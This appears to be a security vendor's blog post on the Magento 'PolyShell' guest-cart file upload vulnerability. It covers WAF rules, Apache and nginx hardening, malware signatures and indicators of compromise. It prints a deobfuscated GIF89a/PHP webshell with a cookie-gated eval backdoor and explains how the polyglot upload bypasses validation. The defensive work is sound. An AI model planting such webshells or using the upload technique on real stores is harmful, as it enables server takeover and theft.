Magento PolyShell: Detection, Mitigation, and maldet Signatures
On March 23, 2026, researchers at Sansec published detailed research on a critical unauthenticated file upload vulnerability in Magento Open Source and Adobe Commerce. The vulnerability allows remote attackers to upload PHP webshells through the guest cart REST API with zero authentication. Exploitation was observed in the wild within hours of disclosure.
We want to thank Sansec for their thorough analysis and responsible disclosure. Their research gave the community the technical detail needed to respond quickly.
This post covers our response: ModSecurity rules to block the upload vector, Apache configuration to prevent execution of planted shells, and four new Linux Malware Detect signatures that identify the known webshell variants.
The Attack#
The root cause is deceptively simple. Magento's cart item custom options processing is missing three validation checks that, combined, allow unauthenticated file upload:
- No option ID validation. Submitted option IDs are not verified against the product's actual custom options
- No option type gating. File upload processing runs regardless of whether the product has a file-type option configured
- No file extension restriction. The only server-side check is
getimagesizefromstring(), which validates image headers but ignores the filename extension entirely
The attack targets the unauthenticated guest cart endpoints:
POST /rest/V1/guest-carts/:cartId/items
PUT /rest/V1/guest-carts/:cartId/items/:itemIdThe request body is JSON containing a file_info object with base64-encoded file content, a declared MIME type, and a filename. The attacker submits a file named index.php with a GIF89a header prepended to the PHP payload. The image header satisfies the server-side check. Magento writes the file to pub/media/custom_options/quote/ with the attacker-controlled filename intact. On a server that processes PHP in that directory, the shell is live.
Affected versions
All Magento Open Source and Adobe Commerce releases prior to 2.4.9-alpha3. Patched under Adobe Security Bulletin APSB25-94. No stable production patch was available at time of writing. GraphQL endpoints use a different code path and are not vulnerable.
The GIF89a Polyglot Technique#
The missing validation checks above are necessary for the attack, but the technique that makes it reliable is file polyglotting. The webshells observed in the wild are polyglot files: valid GIF images that are simultaneously valid PHP scripts. The GIF89a magic header at the start of the file passes image validation checks, while the PHP interpreter ignores everything before the <?php opening tag and executes the embedded code.
Two variants have been observed. The first uses cookie-based MD5 authentication with eval(base64_decode()) for arbitrary code execution and a secondary file upload capability. The second uses hash_equals() for authentication and passes commands directly to system().
Deobfuscated, the v1 payload looks like this:
GIF89a<?php
echo 409723 * 20;
if (md5($_COOKIE["d"]) == "17028f487cb2a8...") {
echo "ok";
eval(base64_decode($_REQUEST["id"]));
if ($_POST["up"] == "up") {
@copy($_FILES["file"]["tmp_name"],
$_FILES["file"]["name"]);
}
}
?>The arithmetic echo serves as a health check for the attacker. The MD5-gated cookie prevents casual discovery. Once authenticated, the shell accepts arbitrary PHP via the id parameter and can upload additional files through a secondary POST handler.
Observed Attack Patterns#
A low-complexity, unauthenticated upload primitive with a reliable bypass technique is exactly the kind of vulnerability that gets weaponized fast. We began seeing successful uploads against Magento installations within hours of public disclosure, with multiple independent actor groups targeting the same hosts concurrently. The pattern was consistent across every environment we analyzed: initial polyglot shells appeared first, followed by larger second-stage drops uploaded through the first shell's file handler.
Multi-Actor Forensics
The clearest evidence of multiple actors came from file permissions, which revealed two distinct delivery mechanisms. Initial polyshell uploads written by Magento's file processor had rwxrwxr-x permissions (the web process umask). Larger second-stage shells had rw-r--r-- permissions, indicating they were dropped through the initial shell's @copy() handler after the attacker gained access. The 25KB and 8KB shells are not polyglots; they are full-featured webshells uploaded as a second stage.
| Actor | Payload Size | Permissions | Delivery |
|---|---|---|---|
| 1 | 377-409 bytes | rwxrwxr-x | Direct upload (GIF89a polyglot) |
| 2 | 25,326 bytes | rw-r--r-- | Second-stage drop via @copy() |
| 3 | 8,333 bytes | rw-r--r-- | Second-stage drop via @copy() |
| 4 | 139-1,995 bytes | rw-r--r-- | Utility shells (static.php, get.php) |
Filename Conventions
Beyond permissions, the filenames themselves are useful for detection. Three distinct naming patterns emerged:
427index.php and 891index.php appear because Magento prepends the submitted option_id to the filename. Any integer-prefixed index.php in custom_options/quote/ is a strong indicatorf55d505b20.php and 1cdef191fd.php use 10-character hex filenames, characteristic of second-stage drops. These are full webshells, not polyglotsstatic.php, get.php, and txets.php are designed to blend in with legitimate Magento filesModSecurity Mitigation#
With the attack surface mapped, the next step is blocking it at the WAF. We published seven ModSecurity rules organized into five defense layers, each firing independently so that a bypass of one layer does not compromise the others. Here is the complete ruleset:
# Layer 0 — Ensure raw body is available for JSON requests (1 rule)
#
# ModSecurity 2.9.x does not populate STREAM_INPUT_BODY for
# application/json unless forceRequestBodyVariable is enabled.
# This rule activates it for JSON requests so Layers 1-3 can
# inspect the raw body reliably.
SecRule REQUEST_HEADERS:Content-Type "application/json" \
"id:9517099, phase:1, pass, nolog, t:none, t:lowercase, \
ctl:forceRequestBodyVariable=On"
# Layer 1 — Guest cart upload blocking (1 rule)
SecRule REQUEST_URI "@rx /rest(?:/[^/]+)?/V1/guest-carts/[^/]+/items" \
"id:9517100, phase:2, deny, status:403, log, \
msg:'POLYSHELL: PHP extension in guest cart file_info upload', \
severity:'CRITICAL', chain"
SecRule STREAM_INPUT_BODY "@pm file_info" "t:none, chain"
SecRule STREAM_INPUT_BODY "@rx \\.ph(?:p[345s7]?|tml|ar)" "t:none"
# Layer 2 — Broad API upload blocking (1 rule)
SecRule REQUEST_URI "@rx /rest(?:/[^/]+)?/V1/" \
"id:9517110, phase:2, deny, status:403, log, \
msg:'POLYSHELL: PHP extension in Magento API file_info upload', \
severity:'CRITICAL', chain"
SecRule STREAM_INPUT_BODY "@pm file_info" "t:none, chain"
SecRule STREAM_INPUT_BODY "@rx \\.ph(?:p[345s7]?|tml|ar)" "t:none"
# Layer 3a — Base64 polyglot, alignment 0
SecRule REQUEST_URI "@rx /rest(?:/[^/]+)?/V1/" \
"id:9517120, phase:2, deny, status:403, log, \
msg:'POLYSHELL: base64 GIF89a+PHP polyglot (align 0)', \
severity:'CRITICAL', chain"
SecRule STREAM_INPUT_BODY "@pm file_info" "t:none, chain"
SecRule STREAM_INPUT_BODY "@rx R0lGODlh[A-Za-z0-9+/]{0,300}PD9w" "t:none"
# Layer 3b — Base64 polyglot, alignment 1
SecRule REQUEST_URI "@rx /rest(?:/[^/]+)?/V1/" \
"id:9517121, phase:2, deny, status:403, log, \
msg:'POLYSHELL: base64 GIF89a+PHP polyglot (align 1)', \
severity:'CRITICAL', chain"
SecRule STREAM_INPUT_BODY "@pm file_info" "t:none, chain"
SecRule STREAM_INPUT_BODY "@rx R0lGODlh[A-Za-z0-9+/]{0,300}w/cGhw" "t:none"
# Layer 3c — Base64 polyglot, alignment 2
SecRule REQUEST_URI "@rx /rest(?:/[^/]+)?/V1/" \
"id:9517122, phase:2, deny, status:403, log, \
msg:'POLYSHELL: base64 GIF89a+PHP polyglot (align 2)', \
severity:'CRITICAL', chain"
SecRule STREAM_INPUT_BODY "@pm file_info" "t:none, chain"
SecRule STREAM_INPUT_BODY "@rx R0lGODlh[A-Za-z0-9+/]{0,300}8P3Bo" "t:none"
# Layer 4 — Execution blocking (1 rule, no body inspection)
SecRule REQUEST_URI "@rx /media/.*\\.ph(?:p[345s7]?|tml|ar)" \
"id:9517130, phase:1, deny, status:403, log, \
msg:'POLYSHELL: PHP execution blocked in Magento media directory', \
severity:'CRITICAL'"Layers 1 through 3 (five rules) inspect the request body via STREAM_INPUT_BODY, which requires SecRequestBodyAccess On and SecStreamInBodyInspection On in your global ModSecurity configuration, plus a SecRequestBodyLimit sized to cover your largest JSON payloads. Layer 0 handles the JSON-specific setup automatically. Layer 4 works at phase 1 with no body inspection at all.
Layer 0: JSON Body Access
Rule 9517099 runs at phase 1 and enables forceRequestBodyVariable for JSON requests. ModSecurity 2.9.x has no native JSON body processor, so without this rule STREAM_INPUT_BODY is not populated and Layers 1 through 3 silently fail to inspect anything. This is a non-blocking pass rule with no logging overhead.
Layer 1: Guest Cart Upload
Rule 9517100 targets the exact unauthenticated attack vector. It uses a three-element AND chain: the URI must match a guest cart item endpoint, the raw body stream must contain file_info, and the stream must contain a PHP-executable extension (.php, .phtml, .phar and variants). All three conditions must match for the rule to fire. The file_info check prevents false positives: a customer typing ".php" in a text custom option triggers the extension match but not the file_info match, so the chain breaks and the request passes through.
Layer 2: Broad API Coverage
Layer 1 covers the unauthenticated vector, but the same file upload logic exists elsewhere in the API. Rule 9517110 uses the same three-element chain but with a wider URI scope: any Magento V1 REST API path. This covers authenticated customer cart routes ( /V1/carts/mine/items), admin cart routes, and any future endpoint that accepts file_info.
Layer 3: Base64 Polyglot Detection
Layers 1 and 2 key on the filename extension, which an attacker could potentially obfuscate. Layer 3 takes a different approach by inspecting the payload itself. Rules 9517120, 9517121, and 9517122 detect the GIF89a+PHP polyglot signature in the base64-encoded raw body stream, regardless of what the file is named. Each matches the base64 encoding of GIF89a ( R0lGODlh) followed by the base64 encoding of <?php. Three rules are needed because base64 encodes in 3-byte groups, and the PHP open tag falls at a different position depending on how many bytes of GIF data precede it. The match patterns: PD9w (alignment 0), w/cGhw (alignment 1), and 8P3Bo (alignment 2).
Layer 4: Execution Blocking
Layers 1 through 3 all require body inspection, which means they depend on Layer 0 plus SecRequestBodyAccess On and SecStreamInBodyInspection On being configured correctly. Layer 4 is the safety net. Rule 9517130 runs at phase 1 with no body inspection and no chain logic. It denies access to any PHP-executable file under Magento's /media/ directory tree. Even if the upload-blocking rules were not yet deployed when a shell was planted, this rule prevents it from executing.
Apache Hardening#
ModSecurity handles the WAF layer, but server-level controls provide a critical second line of defense. The polyshell attack has two independent phases, upload and execution, and blocking either one is sufficient to prevent compromise. Server-level configuration ensures that even if a shell reaches disk through some unforeseen path, it cannot execute.
Disable PHP in Media Directories
This is the single most effective control you can deploy. It disables the PHP engine entirely for Magento's media tree, where only static assets (images, CSS, JS) should ever be served.
<Directory "/var/www/magento/pub/media">
php_flag engine off
</Directory>This works when PHP runs as an Apache module (mod_php). If your stack runs PHP-FPM via mod_proxy_fcgi, the php_flag directive is silently ignored because mod_php is not loaded. In that case, use the <FilesMatch> approach below, or set php_admin_value[engine] = Off in your FPM pool configuration. After applying either control, verify with a test file:
echo '<?php echo "VULNERABLE";' > pub/media/polyshell-check.php
curl -s -o /dev/null -w '%{http_code}' https://store.example.com/media/polyshell-check.php
# Expected: 403 or blank output. If you see "VULNERABLE": PHP is still active.
rm pub/media/polyshell-check.phpBlock PHP Extensions via FilesMatch
If php_flag engine off is not available in your environment (some shared hosting configurations), use a <FilesMatch> directive to deny access by extension. Use the (?i:) flag for case-insensitive matching instead of enumerating every capitalization variant:
<Directory "/var/www/magento/pub/media">
<FilesMatch "\.(?i:php[345s7]?|phtml|phar)$">
Require all denied
</FilesMatch>
</Directory>For Apache 2.4+ with AllowOverride enabled, this can also be placed in a .htaccess file at pub/media/.htaccess:
<FilesMatch "\.(?i:php[345s7]?|phtml|phar)$">
Require all denied
</FilesMatch>Combined Configuration
For maximum protection, use both controls together. The php_flag directive prevents execution at the engine level, while <FilesMatch> returns a 403 before Apache even considers the file:
<Directory "/var/www/magento/pub/media">
# Disable PHP engine entirely
php_flag engine off
# Deny access to PHP-executable extensions (defense in depth)
<FilesMatch "\.(?i:php[345s7]?|phtml|phar)$">
Require all denied
</FilesMatch>
# Prevent script execution via Options
Options -ExecCGI
RemoveHandler .php .phtml .phar
</Directory>nginx
The controls above are Apache-specific. For nginx deployments, the equivalent approach is to restrict PHP-FPM to known entry points only. All other .php requests should return 403:
# Deny PHP execution in media directories
location ~* ^/media/.*\.php$ {
return 403;
}
# Only pass known Magento entry points to PHP-FPM
location ~ \.php$ {
location ~ ^/(index|get|static|errors/report|errors/404|health_check)\.php$ {
fastcgi_pass unix:/run/php-fpm/www.sock;
include fastcgi_params;
}
return 403;
}maldet Signatures#
The ModSecurity and Apache controls above prevent new compromises, but many hosts were already hit before any mitigations were available. For detection, we have published four new hex signatures in Linux Malware Detect (maldet) that identify the known polyshell webshell variants. These signatures match the GIF89a header combined with the PHP payload patterns observed in active exploitation.
| Signature | Variant | Detection |
|---|---|---|
| php.webshell.polyshell.v1auth | v1 | GIF89a + cookie MD5 auth gate + eval |
| php.webshell.polyshell.v1eval | v1 | GIF89a + eval(base64_decode()) |
| php.webshell.polyshell.v2auth | v2 | GIF89a + hash_equals() auth gate |
| php.webshell.polyshell.v2sys | v2 | GIF89a + system($_REQUEST) |
These signatures use hex pattern matching with wildcards to catch obfuscated variants. The v1 signatures target the cookie-based authentication pattern with the known MD5 hash, while the v2 signatures target the hash_equals() and system() patterns unique to the second variant family. For more on how maldet's detection engine works under the hood, see Compound Signatures: Building a Boolean Detection Language in Bash.
maldet users running maldet --update-sigs will receive these signatures automatically. For immediate detection on a potentially compromised host:
maldet --update-sigs
maldet --scan-all /var/www/magento/pub/media/custom_options/Indicators of Compromise#
Automated signature scanning catches the known variants, but incident responders also need concrete IOCs for manual triage and threat intelligence sharing. Active exploitation began within hours of Sansec's publication on March 23, 2026. Across the installations we analyzed, compromised hosts accumulated shells from multiple independent actors over a short window, with production environments consistently showing more activity than staging.
MD5 Hashes
# Initial polyglot uploads (GIF89a + PHP)
6a296a13e7719ee9f8694f9bc7bdc3df GIF89a + eval/base64 (409 bytes)
222bb94c2aac6f0ee609bfe6af4eb078 GIF89a + eval/base64 (377 bytes)
# Second-stage drops (uploaded via @copy handler)
5dcd02bda663342b5ddea2187190c425 full webshell (25,326 bytes)
da024d188358becc4ee3447d4d892c30 full webshell (8,333 bytes)
# Utility shells
a2c2d4c8e7e0cd921d1c7191e5e1a0a8 static.php / get.php (139 bytes)
9805097a9f70c5f06891933a720e7a9c txets.php (1,995 bytes)Filesystem Patterns
All shells land under pub/media/custom_options/quote/ in Magento's 2-level character dispersion tree. A quick filesystem sweep for compromise:
find pub/media/custom_options/ -type f -iname '*.php' -ls
find pub/media/custom_options/ -type f -iname '*.php' -exec md5sum {} \;Observed file paths across staging and production:
# Option-ID prefix pattern (initial polyglot upload)
custom_options/quote/4/2/427index.php
custom_options/quote/8/9/891index.php
custom_options/quote/3/6/365index.php
custom_options/quote/9/2/922index.php
# Hex-named second-stage drops
custom_options/quote/8/9/f55d505b20.php
custom_options/quote/i/n123/1cdef191fd.php
# Generic utility shells
custom_options/quote/s/t/static.php
custom_options/quote/g/e/get.php
custom_options/quote/8/9/txets.phpMITRE ATT&CK Mapping#
The techniques observed in this attack chain map to the following MITRE ATT&CK entries:
| Technique | ID | Context |
|---|---|---|
| Exploit Public-Facing Application | T1190 | Unauthenticated file upload via Magento REST API guest cart endpoints |
| Server Software Component: Web Shell | T1505.003 | PHP webshell planted in pub/media/custom_options/ with attacker-controlled filename |
| Masquerading: Masquerade File Type | T1036.008 | GIF89a polyglot header disguises PHP payload as a valid image file to bypass server-side validation |
Conclusion#
This vulnerability is straightforward to exploit, requires no authentication, and was weaponized within hours of disclosure. With no stable production patch available at time of writing, server-level controls are the primary line of defense. Here is what to do, in priority order.
Immediate
Harden
Detect
The ModSecurity ruleset and maldet signatures referenced in this post are open source under the GPL v2 license and available via linux-malware-detect. If you have additional IOCs or variant samples, reach out via Keybase or email.